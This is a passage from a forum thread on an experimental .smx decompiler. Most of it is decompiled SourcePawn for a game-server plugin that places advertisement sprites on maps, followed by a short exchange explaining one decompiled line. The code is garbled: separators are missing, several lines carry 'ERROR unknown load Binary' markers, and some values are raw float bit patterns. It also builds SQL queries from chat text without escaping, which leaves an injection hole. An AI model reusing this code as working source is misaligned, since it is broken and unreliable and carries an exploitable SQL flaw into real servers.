CreateTimer(1.0OnMovetypeNoneAllany:00);
    return 
Action:0;
}

public 
Action:OnAdvert(Handle:timer)
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintCenterTextAll(""tohome);
    new 
iClient 1;
    while (
iClient <= MaxClients)
    {
        if (
IsClientInGame(iClient))
        {
            if (
GetUserFlagBits(iClient) < 1)
            {
                
PrintToChat(iClientg_sMessage_AdvertServer[iAdvert]);
            }
        }
        
iClient++;
    }
    
iAdvert += 1;
    if (
iAdvert >= 10)
    {
        
iAdvert 0;
    }
    
CreateTimer(1065353216 0OnAdvertany:00);
    return 
Action:0;
}

public 
OnPluginStart()
{
    new 
to 3;
    
decl home;
    
to 5;
    
home 0;
    
PrintToServer(""tohome);
    
GetIP_Socket();
    
AddCommandListener(Say"say");
    
AddCommandListener(Say"say_team");
    
HookEvent("round_start"RoundStartEventHookMode:1);
    
HookEvent("round_end"RoundEndEventHookMode:1);
    
OnAdminMenuReady(GetAdminTopMenu());
    
InitDB();
    return 
0;
}

public 
OnMapStart()
{
    
GlobalMenu();
    return 
0;
}

public 
OnMapEnd()
{
    
ClearUndo();
    return 
0;
}

public 
Action:RoundStart(Handle:hEventString:sEvName[], bool:bDontBroadcast)
{
    
decl String:query[256];
    
decl String:mapname[32];
    
GetCurrentMap(mapname32);
    
Format(query256"SELECT * FROM reklama WHERE mapname = '%s'"mapname);
    
SQL_TQuery(g_SQLSQL_PopulateMapqueryany:0DBPriority:0);
    return 
Action:0;
}

public 
Action:RoundEnd(Handle:hEventString:sEvName[], bool:bDontBroadcast)
{
    new 
iClient GetClientOfUserId(GetEventInt(hEvent"userid"));
    if (
InChatName[iClient])
    {
        
InChatName[iClient] = 0;
    }
    
ClearUndo();
    return 
Action:0;
}

public 
SQL_PopulateMap(Handle:ownerHandle:hndlString:error[], any:data)
{
    if (!
hndl)
    {
        
LogError("SQL Query Error: %s"error);
        
SetFailState("Lost connection to database. Reconnecting on map change.");
    }
    new 
Float:pos[3] = 0.0;
    
decl String:sModel[128];
    while (
SQL_FetchRow(hndl))
    {
        
pos[0] = SQL_FetchFloat(hndl10);
        
pos[1] = SQL_FetchFloat(hndl20);
        
pos[2] = SQL_FetchFloat(hndl30);
        
SQL_FetchString(hndl4sModel1280);
        
CreateReklama(possModelfalse);
    }
    return 
0;
}

InitDB()
{
    if (
SQL_CheckConfig("reklama"))
    {
        
decl String:error[256];
        
g_SQL SQL_Connect("reklama"falseerror255);
        if (
g_SQL)
        {
            
CreateTable();
        }
        else
        {
            
SetFailState("Could not connect to database, reason: %s"error);
        }
    }
    else
    {
        
SetFailState("Could not connect to database, reason: no config entry found for 'reklama' in databases.cfg");
    }
    return 
0;
}

CreateTable()
{
    if (
g_SQL)
    {
        
decl String:query[256];
        
Format(query256"CREATE TABLE IF NOT EXISTS reklama (mapname VARCHAR(64),first REAL, second REAL, third REAL, models_vmt VARCHAR(128), reklama_name VARCHAR(128))");
        
SQL_TQuery(g_SQLCallBackCreateTablequeryany:0DBPriority:0);
        return 
0;
    }
    
SetFailState("Could not create the table, reason: Unable to connect the database");
    return 
0;
}

public 
CallBackCreateTable(Handle:ownerHandle:hndlString:error[], any:data)
{
    if (
hndl)
    {
        return 
0;
    }
    
SetFailState("Could not create the table, reason: %s"error);
    return 
0;
}

ClearAllBD(client)
{
    
decl String:query[256];
    
decl String:mapname[32];
    
GetCurrentMap(mapname32);
    
Format(query256"DELETE FROM reklama WHERE mapname = '%s'"mapname);
    
SQL_TQuery(g_SQLSQL_DoNothingqueryany:0DBPriority:0);
    
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Убрана вся реклама, на этой карте.");
    return 
0;
}

public 
SQL_DoNothing(Handle:ownerHandle:hndlString:error[], any:data)
{
    new 
var1;
    if (
hndl && strlen(error) > 0)
    {
        
LogError("SQL query errors: %s"error);
        
SetFailState("Lost connection to database. Reconnecting on map change.");
    }
    return 
0;
}

Save(client)
{
    if (
IsStackEmpty(undo))
    {
        
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Раунд был перезагружен. Попробуй снова.");
        return 
0;
    }
    new 
index;
    new 
Float:position[3] = 0.0;
    
decl String:sModel[128];
    
decl String:reklama_name[128];
    
decl String:mapname[32];
    
decl String:query[256];
    
ResetPack(packfalse);
    
ResetPack(pack2false);
    
ReadPackString(packsModel128);
    
ReadPackString(pack2reklama_name128);
    
GetCurrentMap(mapname32);
    while (!
IsStackEmpty(undo))
    {
        
PopStackCell(undoindex0false);
        if (
IsValidEdict(index))
        {
            
GetEntPropVector(indexPropType:0"m_vecOrigin"position0);
            
Format(query256"INSERT INTO reklama (mapname, first, second, third, models_vmt, reklama_name) VALUES (\"%s\", \"%f\", \"%f\", \"%f\", \"%s\", \"%s\");"mapnamepositionposition[1], position[2], sModelreklama_name);
            
SQL_TQuery(g_SQLSQL_DoNothingqueryany:0DBPriority:0);
        }
    }
    
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Реклама успешно сохранена.");
    return 
0;
}

Undo(client)
{
    if (
IsStackEmpty(undo))
    {
        
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Раунд был перезагружен. Попробуй снова.");
        return 
0;
    }
    new 
index;
    while (!
IsStackEmpty(undo))
    {
        
PopStackCell(undoindex0false);
        if (
IsValidEdict(index))
        {
            
AcceptEntityInput(index"Kill", -1, -10);
        }
    }
    
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Реклама успешно удалена.");
    return 
0;
}

ClearUndo()
{
    if (
undo)
    {
        while (!
IsStackEmpty(undo))
        {
            
PopStack(undo);
        }
    }
    else
    {
        
undo CreateStack(1);
    }
    return 
0;
}

public 
OnAdminMenuReady(Handle:topme)
{
    new 
var1;
    if (
topme && TopM != topme)
    {
        return 
0;
    }
    
TopM topme;
    new 
TopMenuObject:mn AddToTopMenu(topme"sm_1mpulse_reklama"TopMenuObjectType:0TopMenuCallBackTopMenuObject:0""16384"");
    
AddToTopMenu(topme"sm_1mpulse_reklama_create"TopMenuObjectType:1MenuCallBack1mn""16384"");
    
AddToTopMenu(topme"sm_1mpulse_reklama_reset"TopMenuObjectType:1MenuCallBack2mn""16384"");
    
AddToTopMenu(topme"sm_1mpulse_reklama_resetmap"TopMenuObjectType:1MenuCallBack3mn""16384"");
    return 
0;
}

public 
TopMenuCallBack(Handle:topmeTopMenuAction:actionTopMenuObject:object_idiClientString:buffer[], maxlength)
{
    switch (
action)
    {
        case 
0:
        {
            
FormatEx(buffermaxlength"Управление Рекламой");
        }
        case 
1:
        {
            
FormatEx(buffermaxlength"Управление Рекламой");
        }
        default:
        {
        }
    }
    return 
0;
}

public 
MenuCallBack1(Handle:topmeTopMenuAction:actionTopMenuObject:object_idiClientString:buffer[], maxlength)
{
    switch (
action)
    {
        case 
0:
        {
            
FormatEx(buffermaxlength"Создать рекламу");
        }
        case 
2:
        {
            
DisplayMenu(g_hMenuiClient0);
        }
        default:
        {
        }
    }
    return 
0;
}

public 
MenuCallBack2(Handle:topmeTopMenuAction:actionTopMenuObject:object_idiClientString:buffer[], maxlength)
{
    switch (
action)
    {
        case 
0:
        {
            
FormatEx(buffermaxlength"Удалить через список");
        }
        case 
2:
        {
            
SelectClearReklama(iClient);
        }
        default:
        {
        }
    }
    return 
0;
}

public 
MenuCallBack3(Handle:topmeTopMenuAction:actionTopMenuObject:object_idiClientString:buffer[], maxlength)
{
    switch (
action)
    {
        case 
0:
        {
            
FormatEx(buffermaxlength"Удалить всю рекламу на карте");
        }
        case 
2:
        {
            
ClearAllBD(iClient);
        }
        default:
        {
        }
    }
    return 
0;
}

public 
SelectClearReklama(client)
{
    
decl String:query[256];
    
decl String:mapname[32];
    
GetCurrentMap(mapname32);
    
FormatEx(query256"SELECT * FROM reklama WHERE mapname = '%s'"mapname);
    
SQL_TQuery(g_SQLShowSelectClearMenuqueryclientDBPriority:1);
    return 
1;
}

public 
ShowSelectClearMenu(Handle:ownerHandle:hndlString:error[], any:client)
{
    if (!
hndl)
    {
        
LogError("SQL Query Error: %s"error);
        
SetFailState("Lost connection to database. Reconnecting on map change.");
    }
    new 
count SQL_GetRowCount(hndl);
    if (
count)
    {
        new 
Handle:menu CreateMenu(ShowSelectClearMenu_HandlerMenuAction:28);
        
SetMenuTitle(menu"Выберите рекламу для удаления:");
        new 
Float:pos[3] = 0.0;
        
decl String:display[128];
        
decl String:sBuffer[128];
        
decl String:reklama_name[128];
        
decl String:sModel[128];
        while (
SQL_FetchRow(hndl))
        {
            
pos[0] = SQL_FetchFloat(hndl10);
            
pos[1] = SQL_FetchFloat(hndl20);
            
pos[2] = SQL_FetchFloat(hndl30);
            
SQL_FetchString(hndl4sModel1280);
            
SQL_FetchString(hndl5reklama_name1280);
            
FormatEx(display128"%s"reklama_name);
            
FormatEx(sBuffer128"%f:%f:%f:%s:%s"pospos[1], pos[2], sModelreklama_name);
            
AddMenuItem(menusBufferdisplay0);
        }
        
SetMenuExitBackButton(menutrue);
        
DisplayMenu(menuclient0);
        return 
0;
    }
    
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}На этой карте еще нет рекламы.");
    return 
0;
}

public 
ShowSelectClearMenu_Handler(Handle:menuMenuAction:actionclientItem)
{
    if (
action == MenuAction:4)
    {
        new 
var1 0;
        new 
var2;
        new 
var3;
        
decl String:reklama_name[128];
        
decl String:sModel[128];
        
decl String:sBuffer[128];
        
GetMenuItem(menuItemvar22560""0);
        
ExplodeString(var2":"var3564false);
        
var1 StringToFloat(var3 var3);
        new 
var4 var3 4;
        
var1 4/* ERROR unknown load Binary */ StringToFloat(var4 var4);
        new 
var5 var3 8;
        
var1 8/* ERROR unknown load Binary */ StringToFloat(var5 var5);
        new 
var6 var3 12;
        
strcopy(sModel128var6 var6);
        new 
var7 var3 16;
        
strcopy(reklama_name128var7 var7);
        
FormatEx(sBuffer128"%f:%f:%f:%s:%s"var1var1 4var1 8sModelreklama_name);
        new 
Handle:menu777 CreateMenu(MainMenu777MenuAction:28);
        
SetMenuExitBackButton(menu777true);
        
SetMenuTitle(menu777"Информация о выбранной рекламе\n \nИмя:%s\nОсь х:%f\nОсь y:%f\nОсь z:%f\nМодель: %s\n"reklama_namevar1var1 4var1 8sModel);
        
AddMenuItem(menu777sBuffer"Удалить"0);
        
DisplayMenu(menu777client0);
    }
    return 
0;
}

public 
MainMenu777(Handle:menuMenuAction:actionclientItem)
{
    switch (
action)
    {
        case 
4:
        {
            switch (
Item)
            {
                case 
0:
                {
                    new 
var1 0;
                    new 
var2;
                    new 
var3;
                    new 
var4;
                    
decl String:reklama_name[128];
                    
decl String:sModel[128];
                    
GetMenuItem(menuItemvar32560""0);
                    
ExplodeString(var3":"var4564false);
                    
var1 StringToFloat(var4 var4);
                    new 
var5 var4 4;
                    
var1 4/* ERROR unknown load Binary */ StringToFloat(var5 var5);
                    new 
var6 var4 8;
                    
var1 8/* ERROR unknown load Binary */ StringToFloat(var6 var6);
                    new 
var7 var4 12;
                    
strcopy(sModel128var7 var7);
                    new 
var8 var4 16;
                    
strcopy(reklama_name128var8 var8);
                    
Format(var2256"DELETE FROM reklama WHERE first = '%f'"var1);
                    
SQL_TQuery(g_SQLSQL_DoNothingvar2any:0DBPriority:0);
                    
CPrintToChat(client" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Вы удалили выбранную вами рекламу.");
                }
                default:
                {
                }
            }
        }
        case 
8:
        {
            if (
Item == -6)
            {
                
SelectClearReklama(client);
            }
        }
        case 
16:
        {
            
CloseHandle(menu);
        }
        default:
        {
        }
    }
    return 
0;
}

ReklamaMenuEnd(iClient)
{
    new 
var1;
    if (
iClient && !IsClientInGame(iClient))
    {
        return 
0;
    }
    new 
Handle:menu CreateMenu(ReklamaMenuHandlerMenuAction:28);
    
SetMenuTitle(menu"Создать рекламу:");
    
AddMenuItem(menu"""Сохранить"0);
    
AddMenuItem(menu"""Отменить"0);
    
SetMenuExitBackButton(menutrue);
    
DisplayMenu(menuiClient0);
    return 
0;
}

public 
ReklamaMenuHandler(Handle:menuMenuAction:actioniClientItem)
{
    switch (
action)
    {
        case 
4:
        {
            switch (
Item)
            {
                case 
0:
                {
                    
InChatName[iClient] = 1;
                    
CPrintToChat(iClient" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Введите в чат название для этой рекламы!");
                }
                case 
1:
                {
                    
Undo(iClient);
                }
                default:
                {
                }
            }
        }
        case 
8:
        {
            if (
Item == -6)
            {
                
DisplayMenu(g_hMenuiClient0);
            }
        }
        case 
16:
        {
            
CloseHandle(menu);
        }
        default:
        {
        }
    }
    return 
0;
}

GlobalMenu()
{
    new 
Handle:kv CreateKeyValues("point_reklama""""");
    if (!
FileToKeyValues(kv"addons/sourcemod/configs/point_reklama.ini"))
    {
        
PrintToServer("Failed to load addons/sourcemod/configs/point_reklama.ini");
    }
    if (
g_hMenu)
    {
        
CloseHandle(g_hMenu);
    }
    
g_hMenu CreateMenu(GlobalMenuHandlerMenuAction:28);
    
SetMenuTitle(g_hMenu"Создать рекламу:");
    if (
KvGotoFirstSubKey(kvtrue) == 1)
    {
        
decl String:ItemName[32];
        
decl String:model_vmt[128];
        
decl String:model_vtf[128];
        do {
            if (
KvGetSectionName(kvItemName32) == 1)
            {
                
KvGetString(kv"name"ItemName32"");
                
KvGetString(kv"vmt"model_vmt128"");
                
KvGetString(kv"vtf"model_vtf128"");
                
AddFileToDownloadsTable(model_vmt);
                
AddFileToDownloadsTable(model_vtf);
                
PrecacheModel(model_vmtfalse);
                
AddMenuItem(g_hMenumodel_vmtItemName0);
            }
        } while (
KvGotoNextKey(kvtrue));
    }
    else
    {
        
LogError("addons/sourcemod/configs/point_reklama.ini error");
    }
    
CloseHandle(kv);
    return 
0;
}

public 
GlobalMenuHandler(Handle:hMenuMenuAction:actioniClientItem)
{
    if (
action == MenuAction:4)
    {
        
decl String:sModel[128];
        
GetMenuItem(g_hMenuItemsModel1280""0);
        new 
Float:position[3] = 0.0;
        
ClearUndo();
        
TraceEye(iClientposition);
        
CreateReklama(positionsModeltrue);
        
ReklamaMenuEnd(iClient);
        
pack CreateDataPack();
        
WritePackString(packsModel);
    }
    return 
0;
}

CreateReklama(Float:position[3], String:sModel[], bool:pushstack)
{
    new 
sprite CreateEntityByName("env_sprite", -1);
    if (
sprite != -1)
    {
        
DispatchKeyValue(sprite"spawnflags""1");
        
DispatchKeyValue(sprite"scale""0.3");
        
DispatchKeyValue(sprite"rendermode""1");
        
DispatchKeyValue(sprite"rendercolor""255 255 255");
        
DispatchKeyValue(sprite"model"sModel);
        
DispatchSpawn(sprite);
        
position[2] = position[2] + 50.0;
        
TeleportEntity(spritepositionNULL_VECTORNULL_VECTOR);
        if (
pushstack)
        {
            
PushStackCell(undosprite);
        }
    }
    return 
0;
}

TraceEye(clientFloat:pos[3])
{
    
decl Float:vAngles[3];
    
decl Float:vOrigin[3];
    
GetClientEyePosition(clientvOrigin);
    
GetClientEyeAngles(clientvAngles);
    
TR_TraceRayFilter(vOriginvAngles1174421507RayType:1TraceEntityFilterPlayerany:0);
    if (
TR_DidHit(Handle:0))
    {
        
TR_GetEndPosition(posHandle:0);
    }
    return 
0;
}

public 
bool:TraceEntityFilterPlayer(entitycontentsMask)
{
    new 
var1;
    return 
entity GetMaxClients() || !entity;
}

public 
OnClientConnected(iClient)
{
    
InChatName[iClient] = 0;
    return 
0;
}

public 
OnClientDisconnect(iClient)
{
    
InChatName[iClient] = 0;
    return 
0;
}

public 
Action:Say(iClientString:command[], args)
{
    new 
var1;
    if ((!
iClient || !IsClientInGame(iClient)) && !InChatName[iClient])
    {
        return 
Action:0;
    }
    
decl String:sText[192];
    
GetCmdArgString(sText192);
    if (
InChatName[iClient])
    {
        
StripQuotes(sText);
        
TrimString(sText);
        if (
strlen(sText) <= 3)
        {
            
CPrintToChat(iClient" {GREEN}[{RED}Реклама{GREEN}] {DEFAULT}Имя рекламы должно быть более 3 символов!");
            return 
Action:3;
        }
        
pack2 CreateDataPack();
        
WritePackString(pack2sText);
        
Save(iClient);
        
InChatName[iClient] = 0;
        return 
Action:3;
    }
    return 
Action:0;

__________________
Peace-Maker is offline
keygens
Senior Member
Join Date: Mar 2010
Location: Somewhere
Old 07-26-2017 , 13:57   Re: Lysis: An experimental .smx decompiler
Reply With Quote #359

PHP Code:
if (-g_FrameRec[client] < GetArraySize(g_Frame[client]) + -1)
{
    
g_FrameRec[client]++;

What that mean? Something like g_FrameRec[client] =! 1 or what?

Last edited by keygens; 07-26-2017 at 13:59.
keygens is offline
shavit
AlliedModders Donor
Join Date: Dec 2011
Location: Israel
Old 07-28-2017 , 19:38   Re: Lysis: An experimental .smx decompiler
Reply With Quote #360

Quote:
Originally Posted by keygens View Post
PHP Code:
if (-g_FrameRec[client] < GetArraySize(g_Frame[client]) + -1)
{
    
g_FrameRec[client]++;

What that mean? Something like g_FrameRec[client] =! 1 or what?
I assume this is a decompiled TAS plugin? If it is, there's an open-source one by CRASHFORT on GitHub.

Otherwise, what this part does is to clamp g_FrameRec[client]'s increments so it doesn't get out of bounds (bounds as in g_Frame[client]'s array size).
The plugin probably reads/writes to the array using g_FrameRec[client] as the index.
__________________
retired
shavit is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 02:41.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode